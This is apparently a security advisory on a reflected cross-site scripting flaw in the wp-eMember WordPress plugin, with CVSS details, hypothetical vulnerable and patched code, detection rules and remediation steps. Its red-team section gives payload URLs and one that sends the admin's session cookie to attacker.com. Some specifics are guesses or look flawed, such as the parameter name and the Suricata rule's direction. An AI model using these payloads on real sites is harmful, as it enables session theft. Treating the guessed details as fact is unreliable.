CVE-2024-5075

Executive Summary

CVE-2024-5075 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the wp-eMember WordPress plugin, versions prior to 10.6.6. The plugin fails to properly sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This vulnerability can be exploited against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium), with a vector emphasizing network-based, low-complexity attacks requiring user interaction.

Supply Chain & Package Security

This vulnerability affects the wp-eMember WordPress plugin, a third-party component commonly installed via the WordPress plugin repository. The plugin is not part of the WordPress core, but its widespread use in membership and e-commerce sites makes it a significant supply chain risk. Organizations using this plugin should treat it as a critical dependency and ensure it is updated promptly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (e.g., admins) elevates the risk, as a successful attack could lead to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the wp-eMember plugin’s handling of a specific parameter (likely emember_action or similar) that is reflected back into the page without proper sanitization or output escaping. When a user visits a crafted URL containing malicious JavaScript in that parameter, the script executes in the context of the victim’s browser session.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?emember_action=<script>alert('XSS')</script>
2. Attacker sends this link to a high-privilege user (e.g., via email or social engineering).
3. Victim clicks the link while authenticated to the WordPress admin panel.
4. The injected script executes, potentially stealing session cookies, performing actions on behalf of the admin, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (pre-10.6.6):

// Example vulnerable snippet (hypothetical)
$action = $_GET['emember_action'];
echo "<div class='emember-action'>$action</div>";

Patched Code (10.6.6+):

// Patched version using WordPress escaping
$action = sanitize_text_field($_GET['emember_action']);
echo "<div class='emember-action'>" . esc_html($action) . "</div>";

The patch introduces sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a proof-of-concept can be constructed manually.

Step 1: Identify the vulnerable parameter.
Use a web proxy (e.g., Burp Suite) to intercept requests and look for parameters reflected in the response. Common candidates include emember_action, member_id, or redirect_to.

Step 2: Craft the payload.
Example URL:
http://target-site.com/?emember_action=<script>alert(document.cookie)</script>

Step 3: Deliver the link.
Use social engineering to trick an admin into clicking the link.

Step 4: Capture the cookie.
For a more advanced attack, use a payload that sends the cookie to an attacker-controlled server:
http://target-site.com/?emember_action=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defense & Detection)

• Web Application Firewall (WAF): Block requests containing <script> tags in query parameters.
• Input Validation: Ensure all user-supplied data is sanitized and escaped.
• Security Headers: Implement Content Security Policy (CSP) to restrict script execution.
• User Training: Educate high-privilege users about phishing and suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Suspicious URLs containing emember_action= followed by encoded JavaScript.
  • Outbound connections to unknown IPs or domains from the WordPress server.
• Host IOCs:
  • Unexpected JavaScript files in the web root or plugin directory.
  • Modified WordPress admin user accounts or new admin users.
• Log IOCs:
  • HTTP 200 responses with text/html containing <script> tags in the emember_action parameter.
  • Referer headers from phishing emails or external sites.

Detection Engineering

YARA Rule

rule CVE_2024_5075_wp_eMember_XSS {
    meta:
        description = "Detects reflected XSS attempts against wp-eMember plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5075"
    strings:
        $xss_payload = /emember_action=.*<script/i
        $xss_encoded = /emember_action=.*%3Cscript/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against wp-eMember Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious payloads targeting the wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'emember_action='
        c-uri|contains|any:
            - '<script'
            - '%3Cscript'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5075 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"emember_action="; http_uri; pcre:"/emember_action=.*(<script|%3Cscript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade the wp-eMember plugin to version 10.6.6 or later.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing emember_action with suspicious patterns.
3. Code Review: Audit all custom code for similar XSS vulnerabilities.
4. Security Hardening: Enable CSP headers, use HTTPS, and implement strict input validation.
5. Monitoring: Continuously monitor logs for exploitation attempts and anomalous admin behavior.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert